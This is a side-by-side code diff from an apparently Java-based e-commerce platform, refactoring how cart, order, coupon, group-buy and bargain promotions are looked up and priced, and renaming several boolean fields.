for (PromotionGoods promotionGoods : cartSkuVO.getPromotions()) { for (Map.Entry<String, Object> entry : cartSkuVO.getPromotionMap().entrySet()) {
// 忽略拼团活动 // 忽略拼团活动
if (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())) { if (entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) {
continue; continue;
} }
PromotionSkuVO promotionSkuVO = new PromotionSkuVO(promotionGoods.getPromotionType(), promotionGoods.getPromotionId()); BasePromotions basePromotions = (BasePromotions) entry.getValue();
cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); PromotionSkuVO promotionSkuVO = new PromotionSkuVO(entry.getKey().split("-")[0], basePromotions.getId());
cartSkuVO.setSubTotal(CurrencyUtil.mul(promotionGoods.getPrice(), cartSkuVO.getNum())); cartSkuVO.setSubTotal(CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum()));
cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal()); cartSkuVO.getPriceDetailDTO().setGoodsPrice(cartSkuVO.getSubTotal());
cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO); cartSkuVO.getPriceDetailDTO().getJoinPromotion().add(promotionSkuVO);

View File

@ -1,16 +1,19 @@
package cn.lili.modules.order.cart.service; package cn.lili.modules.order.cart.service;
import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.text.CharSequenceUtil;
import cn.hutool.json.JSONUtil;
import cn.lili.cache.Cache; import cn.lili.cache.Cache;
import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException; import cn.lili.common.exception.ServiceException;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.common.security.AuthUser; import cn.lili.common.security.AuthUser;
import cn.lili.common.security.context.UserContext; import cn.lili.common.security.context.UserContext;
import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.CurrencyUtil;
import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.entity.vos.GoodsVO;
import cn.lili.modules.goods.service.GoodsService; import cn.lili.modules.goods.service.GoodsService;
import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.member.entity.dos.MemberAddress; import cn.lili.modules.member.entity.dos.MemberAddress;
@ -25,17 +28,26 @@ import cn.lili.modules.order.cart.entity.vo.TradeParams;
import cn.lili.modules.order.cart.render.TradeBuilder; import cn.lili.modules.order.cart.render.TradeBuilder;
import cn.lili.modules.order.order.entity.dos.Trade; import cn.lili.modules.order.order.entity.dos.Trade;
import cn.lili.modules.order.order.entity.vo.ReceiptVO; import cn.lili.modules.order.order.entity.vo.ReceiptVO;
import cn.lili.modules.promotion.entity.dos.*; import cn.lili.modules.promotion.entity.dos.KanjiaActivity;
import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.MemberCoupon;
import cn.lili.modules.promotion.entity.dos.Pintuan;
import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum; import cn.lili.modules.promotion.entity.enums.KanJiaStatusEnum;
import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivitySearchParams;
import cn.lili.modules.promotion.service.*; import cn.lili.modules.promotion.service.KanjiaActivityService;
import cn.lili.modules.promotion.service.MemberCouponService;
import cn.lili.modules.promotion.service.PointsGoodsService;
import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.entity.dos.EsGoodsIndex;
import cn.lili.modules.search.service.EsGoodsIndexService;
import cn.lili.modules.search.service.EsGoodsSearchService; import cn.lili.modules.search.service.EsGoodsSearchService;
import cn.lili.rocketmq.RocketmqSendCallbackBuilder;
import cn.lili.rocketmq.tags.GoodsTagsEnum;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.rocketmq.spring.core.RocketMQTemplate;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@ -73,11 +85,6 @@ public class CartServiceImpl implements CartService {
* 促销商品 * 促销商品
*/ */
@Autowired @Autowired
private PromotionGoodsService promotionGoodsService;
/**
* 促销商品
*/
@Autowired
private PointsGoodsService pointsGoodsService; private PointsGoodsService pointsGoodsService;
/** /**
* 会员地址 * 会员地址
@ -89,23 +96,31 @@ public class CartServiceImpl implements CartService {
*/ */
@Autowired @Autowired
private EsGoodsSearchService esGoodsSearchService; private EsGoodsSearchService esGoodsSearchService;
/**
* 商品索引
*/
@Autowired
private EsGoodsIndexService goodsIndexService;
/** /**
* ES商品 * ES商品
*/ */
@Autowired @Autowired
private GoodsService goodsService; private GoodsService goodsService;
/**
* 拼团
*/
@Autowired
private PintuanService pintuanService;
/** /**
* 砍价 * 砍价
*/ */
@Autowired @Autowired
private KanjiaActivityService kanjiaActivityService; private KanjiaActivityService kanjiaActivityService;
/**
* rocketMq
*/
@Autowired @Autowired
private KanjiaActivityGoodsService kanjiaActivityGoodsService; private RocketMQTemplate rocketMQTemplate;
/**
* rocketMq配置
*/
@Autowired
private RocketmqCustomProperties rocketmqCustomProperties;
/** /**
* 交易 * 交易
*/ */
@ -118,7 +133,28 @@ public class CartServiceImpl implements CartService {
throw new ServiceException(ResultCode.CART_NUM_ERROR); throw new ServiceException(ResultCode.CART_NUM_ERROR);
} }
CartTypeEnum cartTypeEnum = getCartType(cartType); CartTypeEnum cartTypeEnum = getCartType(cartType);
GoodsSku dataSku = checkGoods(skuId, cartType); GoodsSku dataSku = checkGoods(skuId);
Map<String, Object> promotionMap;
EsGoodsIndex goodsIndex = goodsIndexService.findById(skuId);
if (goodsIndex == null) {
GoodsVO goodsVO = this.goodsService.getGoodsVO(dataSku.getGoodsId());
goodsIndex = goodsIndexService.resetEsGoodsIndex(dataSku, goodsVO.getGoodsParamsDTOList());
//发送mq消息
String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.RESET_GOODS_INDEX.name();
rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(Collections.singletonList(goodsIndex)), RocketmqSendCallbackBuilder.commonCallback());
}
if (goodsIndex.getPromotionMap() != null && !goodsIndex.getPromotionMap().isEmpty()) {
if (goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.SECKILL.name())) ||
(goodsIndex.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()))
&& CartTypeEnum.PINTUAN.name().equals(cartType))) {
dataSku.setPromotionFlag(true);
dataSku.setPromotionPrice(goodsIndex.getPromotionPrice());
}
promotionMap = goodsIndex.getPromotionMap();
} else {
promotionMap = null;
}
try { try {
//购物车方式购买需要保存之前的选择其他方式购买则直接抹除掉之前的记录 //购物车方式购买需要保存之前的选择其他方式购买则直接抹除掉之前的记录
TradeDTO tradeDTO; TradeDTO tradeDTO;
@ -150,10 +186,9 @@ public class CartServiceImpl implements CartService {
//先清理一下 如果商品无效的话 //先清理一下 如果商品无效的话
cartSkuVOS.remove(cartSkuVO); cartSkuVOS.remove(cartSkuVO);
//购物车中不存在此商品则新建立一个 //购物车中不存在此商品则新建立一个
cartSkuVO = new CartSkuVO(dataSku); cartSkuVO = new CartSkuVO(dataSku, promotionMap);
cartSkuVO.setCartType(cartTypeEnum); cartSkuVO.setCartType(cartTypeEnum);
promotionGoodsService.updatePromotion(cartSkuVO);
//再设置加入购物车的数量 //再设置加入购物车的数量
this.checkSetGoodsQuantity(cartSkuVO, skuId, num); this.checkSetGoodsQuantity(cartSkuVO, skuId, num);
//计算购物车小计 //计算购物车小计
@ -171,9 +206,8 @@ public class CartServiceImpl implements CartService {
List<CartSkuVO> cartSkuVOS = tradeDTO.getSkuList(); List<CartSkuVO> cartSkuVOS = tradeDTO.getSkuList();
//购物车中不存在此商品则新建立一个 //购物车中不存在此商品则新建立一个
CartSkuVO cartSkuVO = new CartSkuVO(dataSku); CartSkuVO cartSkuVO = new CartSkuVO(dataSku, promotionMap);
cartSkuVO.setCartType(cartTypeEnum); cartSkuVO.setCartType(cartTypeEnum);
promotionGoodsService.updatePromotion(cartSkuVO);
//检测购物车数据 //检测购物车数据
checkCart(cartTypeEnum, cartSkuVO, skuId, num); checkCart(cartTypeEnum, cartSkuVO, skuId, num);
//计算购物车小计 //计算购物车小计
@ -329,17 +363,15 @@ public class CartServiceImpl implements CartService {
long count = 0L; long count = 0L;
double totalPrice = tradeDTO.getSkuList().stream().mapToDouble(i -> i.getPurchasePrice() * i.getNum()).sum(); double totalPrice = tradeDTO.getSkuList().stream().mapToDouble(i -> i.getPurchasePrice() * i.getNum()).sum();
if (tradeDTO.getSkuList() != null && !tradeDTO.getSkuList().isEmpty()) { if (tradeDTO.getSkuList() != null && !tradeDTO.getSkuList().isEmpty()) {
List<String> ids = tradeDTO.getSkuList().parallelStream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList()); List<String> ids = tradeDTO.getSkuList().stream().filter(i -> Boolean.TRUE.equals(i.getChecked())).map(i -> i.getGoodsSku().getId()).collect(Collectors.toList());
List<EsGoodsIndex> esGoodsList = esGoodsSearchService.getEsGoodsBySkuIds(ids); List<EsGoodsIndex> esGoodsList = esGoodsSearchService.getEsGoodsBySkuIds(ids);
for (EsGoodsIndex esGoodsIndex : esGoodsList) { for (EsGoodsIndex esGoodsIndex : esGoodsList) {
if (esGoodsIndex != null) { if (esGoodsIndex != null && esGoodsIndex.getPromotionMap() != null) {
if (esGoodsIndex.getPromotionMap() != null) { List<String> couponIds = esGoodsIndex.getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList());
List<String> couponIds = esGoodsIndex.getPromotionMap().keySet().parallelStream().filter(i -> i.contains(PromotionTypeEnum.COUPON.name())).map(i -> i.substring(i.lastIndexOf("-") + 1)).collect(Collectors.toList()); if (!couponIds.isEmpty()) {
if (!couponIds.isEmpty()) { List<MemberCoupon> currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice);
List<MemberCoupon> currentGoodsCanUse = memberCouponService.getCurrentGoodsCanUse(tradeDTO.getMemberId(), couponIds, totalPrice); count = currentGoodsCanUse.size();
count = currentGoodsCanUse.size();
}
} }
} }
} }
@ -370,26 +402,15 @@ public class CartServiceImpl implements CartService {
* 校验商品有效性判定失效和库存促销活动价格 * 校验商品有效性判定失效和库存促销活动价格
* *
* @param skuId 商品skuId * @param skuId 商品skuId
* @param cartType 购物车类型
*/ */
private GoodsSku checkGoods(String skuId, String cartType) { private GoodsSku checkGoods(String skuId) {
GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId); GoodsSku dataSku = this.goodsSkuService.getGoodsSkuByIdFromCache(skuId);
if (dataSku == null) { if (dataSku == null) {
throw new ServiceException(ResultCode.GOODS_NOT_EXIST); throw new ServiceException(ResultCode.GOODS_NOT_EXIST);
} }
if (!GoodsAuthEnum.PASS.name().equals(dataSku.getIsAuth()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) { if (!GoodsAuthEnum.PASS.name().equals(dataSku.getAuthFlag()) || !GoodsStatusEnum.UPPER.name().equals(dataSku.getMarketEnable())) {
throw new ServiceException(ResultCode.GOODS_NOT_EXIST); throw new ServiceException(ResultCode.GOODS_NOT_EXIST);
} }
Double validSeckillGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.SECKILL.name()));
if (validSeckillGoodsPrice != null) {
dataSku.setIsPromotion(true);
dataSku.setPromotionPrice(validSeckillGoodsPrice);
}
Double validPintuanGoodsPrice = promotionGoodsService.getValidPromotionsGoodsPrice(skuId, Collections.singletonList(PromotionTypeEnum.PINTUAN.name()));
if (validPintuanGoodsPrice != null && CartTypeEnum.PINTUAN.name().equals(cartType)) {
dataSku.setIsPromotion(true);
dataSku.setPromotionPrice(validPintuanGoodsPrice);
}
return dataSku; return dataSku;
} }
@ -517,7 +538,7 @@ public class CartServiceImpl implements CartService {
if (use) { if (use) {
this.useCoupon(tradeDTO, memberCoupon, cartTypeEnum); this.useCoupon(tradeDTO, memberCoupon, cartTypeEnum);
} else { } else {
if (Boolean.TRUE.equals(memberCoupon.getIsPlatform())) { if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) {
tradeDTO.setPlatformCoupon(null); tradeDTO.setPlatformCoupon(null);
} else { } else {
tradeDTO.getStoreCoupons().remove(memberCoupon.getStoreId()); tradeDTO.getStoreCoupons().remove(memberCoupon.getStoreId());
@ -585,23 +606,17 @@ public class CartServiceImpl implements CartService {
//购物车价格 //购物车价格
Double cartPrice = 0d; double cartPrice = 0d;
//循环符合优惠券的商品 //循环符合优惠券的商品
for (CartSkuVO cartSkuVO : cartSkuVOS) { for (CartSkuVO cartSkuVO : cartSkuVOS) {
if (!cartSkuVO.getChecked()) { if (Boolean.FALSE.equals(cartSkuVO.getChecked())) {
continue; continue;
} }
//获取商品的促销信息
Optional<PromotionGoods> promotionOptional =
cartSkuVO.getPromotions().parallelStream().filter(promotionGoods ->
(promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()) &&
cartTypeEnum.equals(CartTypeEnum.PINTUAN)) ||
promotionGoods.getPromotionType().equals(PromotionTypeEnum.SECKILL.name())).findAny();
//有促销金额则用促销金额否则用商品原价 //有促销金额则用促销金额否则用商品原价
if (promotionOptional.isPresent()) { if (cartSkuVO.getPromotionMap().keySet().stream().anyMatch(i -> i.contains(PromotionTypeEnum.PINTUAN.name()) || i.contains(PromotionTypeEnum.SECKILL.name()))) {
cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum()));
skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(promotionOptional.get().getPrice(), cartSkuVO.getNum())); skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getPurchasePrice(), cartSkuVO.getNum()));
} else { } else {
cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); cartPrice = CurrencyUtil.add(cartPrice, CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum()));
skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum())); skuPrice.put(cartSkuVO.getGoodsSku().getId(), CurrencyUtil.mul(cartSkuVO.getGoodsSku().getPrice(), cartSkuVO.getNum()));
@ -612,7 +627,7 @@ public class CartServiceImpl implements CartService {
//如果购物车金额大于消费门槛则使用 //如果购物车金额大于消费门槛则使用
if (cartPrice >= memberCoupon.getConsumeThreshold()) { if (cartPrice >= memberCoupon.getConsumeThreshold()) {
//如果是平台优惠券 //如果是平台优惠券
if (memberCoupon.getIsPlatform()) { if (Boolean.TRUE.equals(memberCoupon.getPlatformFlag())) {
tradeDTO.setPlatformCoupon(new MemberCouponDTO(skuPrice, memberCoupon)); tradeDTO.setPlatformCoupon(new MemberCouponDTO(skuPrice, memberCoupon));
} else { } else {
tradeDTO.getStoreCoupons().put(memberCoupon.getStoreId(), new MemberCouponDTO(skuPrice, memberCoupon)); tradeDTO.getStoreCoupons().put(memberCoupon.getStoreId(), new MemberCouponDTO(skuPrice, memberCoupon));
@ -631,7 +646,7 @@ public class CartServiceImpl implements CartService {
private List<CartSkuVO> checkCoupon(MemberCoupon memberCoupon, TradeDTO tradeDTO) { private List<CartSkuVO> checkCoupon(MemberCoupon memberCoupon, TradeDTO tradeDTO) {
List<CartSkuVO> cartSkuVOS; List<CartSkuVO> cartSkuVOS;
//如果是店铺优惠券判定的内容 //如果是店铺优惠券判定的内容
if (!memberCoupon.getIsPlatform()) { if (Boolean.FALSE.equals(memberCoupon.getPlatformFlag())) {
cartSkuVOS = tradeDTO.getSkuList().stream().filter(i -> i.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList()); cartSkuVOS = tradeDTO.getSkuList().stream().filter(i -> i.getStoreId().equals(memberCoupon.getStoreId())).collect(Collectors.toList());
} }
//否则为平台优惠券筛选商品为全部商品 //否则为平台优惠券筛选商品为全部商品
@ -687,27 +702,16 @@ public class CartServiceImpl implements CartService {
private void checkPintuan(CartSkuVO cartSkuVO) { private void checkPintuan(CartSkuVO cartSkuVO) {
//拼团活动需要对限购数量进行判定 //拼团活动需要对限购数量进行判定
//获取拼团信息 //获取拼团信息
List<PromotionGoods> currentPromotion = cartSkuVO.getPromotions().stream().filter( Optional<Map.Entry<String, Object>> pintuanPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.PINTUAN.name())).findFirst();
promotionGoods -> (promotionGoods.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name()))) if (pintuanPromotions.isPresent()) {
.collect(Collectors.toList()); Pintuan pintuan = (Pintuan) pintuanPromotions.get().getValue();
//拼团活动判定
if (!currentPromotion.isEmpty()) {
PromotionGoods promotionGoods = currentPromotion.get(0);
//写入拼团信息 //写入拼团信息
cartSkuVO.setPintuanId(promotionGoods.getPromotionId()); cartSkuVO.setPintuanId(pintuan.getId());
//写入成交信息 //检测拼团限购数量
cartSkuVO.setUtilPrice(promotionGoods.getPrice()); Integer limitNum = pintuan.getLimitNum();
cartSkuVO.setPurchasePrice(promotionGoods.getPrice()); if (limitNum != 0 && cartSkuVO.getNum() > limitNum) {
} else { throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR);
//如果拼团活动被异常处理则在这里安排mq重新写入商品索引 }
goodsSkuService.generateEs(goodsService.getById(cartSkuVO.getGoodsSku().getGoodsId()));
throw new ServiceException(ResultCode.CART_PINTUAN_NOT_EXIST_ERROR);
}
//检测拼团限购数量
Pintuan pintuan = pintuanService.getById(cartSkuVO.getPintuanId());
Integer limitNum = pintuan.getLimitNum();
if (limitNum != 0 && cartSkuVO.getNum() > limitNum) {
throw new ServiceException(ResultCode.CART_PINTUAN_LIMIT_ERROR);
} }
} }
@ -718,29 +722,32 @@ public class CartServiceImpl implements CartService {
*/ */
private void checkKanjia(CartSkuVO cartSkuVO) { private void checkKanjia(CartSkuVO cartSkuVO) {
//根据skuId获取砍价商品 Optional<Map.Entry<String, Object>> kanjiaPromotions = cartSkuVO.getPromotionMap().entrySet().stream().filter(i -> i.getKey().contains(PromotionTypeEnum.KANJIA.name())).findFirst();
KanjiaActivityGoods kanjiaActivityGoodsDTO = kanjiaActivityGoodsService.getKanjiaGoodsBySkuId(cartSkuVO.getGoodsSku().getId()); if (kanjiaPromotions.isPresent()) {
KanjiaActivityGoods kanjiaActivityGoods = (KanjiaActivityGoods) kanjiaPromotions.get().getValue();
//查找当前会员的砍价商品活动
KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams();
kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoods.getId());
kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId());
kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name());
KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams);
//查找当前会员的砍价商品活动 //校验砍价活动是否满足条件
KanjiaActivitySearchParams kanjiaActivitySearchParams = new KanjiaActivitySearchParams(); //判断发起砍价活动
kanjiaActivitySearchParams.setKanjiaActivityGoodsId(kanjiaActivityGoodsDTO.getId()); if (kanjiaActivity == null) {
kanjiaActivitySearchParams.setMemberId(UserContext.getCurrentUser().getId()); throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR);
kanjiaActivitySearchParams.setStatus(KanJiaStatusEnum.SUCCESS.name()); //判断砍价活动是否已满足条件
KanjiaActivity kanjiaActivity = kanjiaActivityService.getKanjiaActivity(kanjiaActivitySearchParams); } else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) {
cartSkuVO.setKanjiaId(kanjiaActivity.getId());
//校验砍价活动是否满足条件 cartSkuVO.setPurchasePrice(0D);
//判断发起砍价活动 throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR);
if (kanjiaActivity == null) { }
throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_FOUND_ERROR); //砍价商品默认一件货物
//判断砍价活动是否已满足条件
} else if (!KanJiaStatusEnum.SUCCESS.name().equals(kanjiaActivity.getStatus())) {
cartSkuVO.setKanjiaId(kanjiaActivity.getId()); cartSkuVO.setKanjiaId(kanjiaActivity.getId());
cartSkuVO.setPurchasePrice(0D); cartSkuVO.setNum(1);
throw new ServiceException(ResultCode.KANJIA_ACTIVITY_NOT_PASS_ERROR);
} }
//砍价商品默认一件货物
cartSkuVO.setKanjiaId(kanjiaActivity.getId());
cartSkuVO.setNum(1);
} }
/** /**

View File

@ -12,7 +12,6 @@ import cn.lili.modules.order.cart.entity.enums.DeliveryMethodEnum;
import cn.lili.modules.order.cart.entity.vo.CartVO; import cn.lili.modules.order.cart.entity.vo.CartVO;
import cn.lili.modules.order.order.entity.dto.PriceDetailDTO; import cn.lili.modules.order.order.entity.dto.PriceDetailDTO;
import cn.lili.modules.order.order.entity.enums.*; import cn.lili.modules.order.order.entity.enums.*;
import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.mybatis.BaseEntity; import cn.lili.mybatis.BaseEntity;
import com.baomidou.mybatisplus.annotation.TableName; import com.baomidou.mybatisplus.annotation.TableName;
import com.fasterxml.jackson.annotation.JsonFormat; import com.fasterxml.jackson.annotation.JsonFormat;
@ -274,9 +273,8 @@ public class Order extends BaseEntity {
//判断是否为拼团订单如果为拼团订单获取拼团ID判断是否为主订单 //判断是否为拼团订单如果为拼团订单获取拼团ID判断是否为主订单
if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name())) { if (tradeDTO.getCartTypeEnum().name().equals(PromotionTypeEnum.PINTUAN.name())) {
Optional<String> pintuanId = cartVO.getCheckedSkuList().get(0).getPromotions().stream() Optional<String> pintuanPromotions = cartVO.getCheckedSkuList().get(0).getPromotionMap().keySet().stream().filter(i -> i.contains(PromotionTypeEnum.PINTUAN.name())).findFirst();
.filter(i -> i.getPromotionType().equals(PromotionTypeEnum.PINTUAN.name())).map(PromotionGoods::getPromotionId).findFirst(); pintuanPromotions.ifPresent(s -> promotionId = s.split("-")[1]);
promotionId = pintuanId.get();
} }
} }
} }

View File

@ -15,6 +15,7 @@ import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.common.security.OperationalJudgment; import cn.lili.common.security.OperationalJudgment;
import cn.lili.common.security.context.UserContext; import cn.lili.common.security.context.UserContext;
import cn.lili.common.security.enums.UserEnums; import cn.lili.common.security.enums.UserEnums;
import cn.lili.common.utils.SnowFlake;
import cn.lili.common.utils.StringUtils; import cn.lili.common.utils.StringUtils;
import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage; import cn.lili.modules.goods.entity.dto.GoodsCompleteMessage;
import cn.lili.modules.member.entity.dto.MemberAddressDTO; import cn.lili.modules.member.entity.dto.MemberAddressDTO;
@ -251,7 +252,7 @@ public class OrderServiceImpl extends ServiceImpl<OrderMapper, Order> implements
LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>(); LambdaQueryWrapper<Order> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name()); queryWrapper.eq(Order::getOrderPromotionType, PromotionTypeEnum.PINTUAN.name());
queryWrapper.eq(Order::getPromotionId, pintuanId); queryWrapper.eq(Order::getPromotionId, pintuanId);
queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or().eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())); queryWrapper.nested(i -> i.eq(Order::getPayStatus, PayStatusEnum.PAID.name()).or(j -> j.eq(Order::getOrderStatus, OrderStatusEnum.PAID.name())));
return this.list(queryWrapper); return this.list(queryWrapper);
} }
@ -693,12 +694,11 @@ public class OrderServiceImpl extends ServiceImpl<OrderMapper, Order> implements
@Override @Override
public boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious) { public boolean checkFictitiousOrder(String pintuanId, Integer requiredNum, Boolean fictitious) {
Map<String, List<Order>> collect = this.queryListByPromotion(pintuanId) Map<String, List<Order>> collect = this.queryListByPromotion(pintuanId)
.stream().filter(i -> CharSequenceUtil.isNotEmpty(i.getParentOrderSn())) .stream().collect(Collectors.groupingBy(Order::getParentOrderSn));
.collect(Collectors.groupingBy(Order::getParentOrderSn));
for (Map.Entry<String, List<Order>> entry : collect.entrySet()) { for (Map.Entry<String, List<Order>> entry : collect.entrySet()) {
//是否开启虚拟成团 //是否开启虚拟成团
if (Boolean.FALSE.equals(fictitious) && entry.getValue().size() < requiredNum) { if (Boolean.FALSE.equals(fictitious) && CharSequenceUtil.isNotEmpty(entry.getKey()) && entry.getValue().size() < requiredNum) {
//如果未开启虚拟成团且已参团人数小于成团人数则自动取消订单 //如果未开启虚拟成团且已参团人数小于成团人数则自动取消订单
String reason = "拼团活动结束订单未付款,系统自动取消订单"; String reason = "拼团活动结束订单未付款,系统自动取消订单";
if (CharSequenceUtil.isNotEmpty(entry.getKey())) { if (CharSequenceUtil.isNotEmpty(entry.getKey())) {
@ -739,7 +739,9 @@ public class OrderServiceImpl extends ServiceImpl<OrderMapper, Order> implements
//添加虚拟成团 //添加虚拟成团
for (int i = 0; i < waitNum; i++) { for (int i = 0; i < waitNum; i++) {
Order order = new Order(); Order order = new Order();
BeanUtil.copyProperties(paidOrders.get(0), order); BeanUtil.copyProperties(paidOrders.get(0), order, "id", "sn");
order.setSn(SnowFlake.createStr("G"));
order.setParentOrderSn(paidOrders.get(0).getParentOrderSn());
order.setMemberId("-1"); order.setMemberId("-1");
order.setMemberName("参团人员"); order.setMemberName("参团人员");
order.setDeleteFlag(true); order.setDeleteFlag(true);
@ -748,6 +750,7 @@ public class OrderServiceImpl extends ServiceImpl<OrderMapper, Order> implements
} }
for (Order paidOrder : paidOrders) { for (Order paidOrder : paidOrders) {
paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name()); paidOrder.setOrderStatus(OrderStatusEnum.UNDELIVERED.name());
this.updateById(paidOrder);
orderStatusMessage(paidOrder); orderStatusMessage(paidOrder);
} }
} }

View File

@ -31,34 +31,34 @@ public class FullDiscount extends BasePromotions {
private Double fullMoney; private Double fullMoney;
@ApiModelProperty(value = "活动是否减现金") @ApiModelProperty(value = "活动是否减现金")
private Boolean isFullMinus; private Boolean fullMinusFlag;
@ApiModelProperty(value = "减现金") @ApiModelProperty(value = "减现金")
private Double fullMinus; private Double fullMinus;
@ApiModelProperty(value = "是否打折") @ApiModelProperty(value = "是否打折")
private Boolean isFullRate; private Boolean fullRateFlag;
@ApiModelProperty(value = "打折") @ApiModelProperty(value = "打折")
private Double fullRate; private Double fullRate;
@ApiModelProperty(value = "是否赠送积分") @ApiModelProperty(value = "是否赠送积分")
private Boolean isPoint; private Boolean pointFlag;
@ApiModelProperty(value = "赠送多少积分") @ApiModelProperty(value = "赠送多少积分")
private Integer point; private Integer point;
@ApiModelProperty(value = "是否包邮") @ApiModelProperty(value = "是否包邮")
private Boolean isFreeFreight; private Boolean freeFreightFlag;
@ApiModelProperty(value = "是否有赠品") @ApiModelProperty(value = "是否有赠品")
private Boolean isGift; private Boolean giftFlag;
@ApiModelProperty(value = "赠品id") @ApiModelProperty(value = "赠品id")
private String giftId; private String giftId;
@ApiModelProperty(value = "是否赠优惠券") @ApiModelProperty(value = "是否赠优惠券")
private Boolean isCoupon; private Boolean couponFlag;
@ApiModelProperty(value = "优惠券id") @ApiModelProperty(value = "优惠券id")
private String couponId; private String couponId;
@ -71,45 +71,45 @@ public class FullDiscount extends BasePromotions {
private String description; private String description;
public Boolean getIsFullMinus() { public Boolean getFullMinusFlag() {
if (isFullMinus == null) { if (fullMinusFlag == null) {
return false; return false;
} }
return isFullMinus; return fullMinusFlag;
} }
public Boolean getIsFullRate() { public Boolean getFullRateFlag() {
if (isFullRate == null) { if (fullRateFlag == null) {
return false; return false;
} }
return isFullRate; return fullRateFlag;
} }
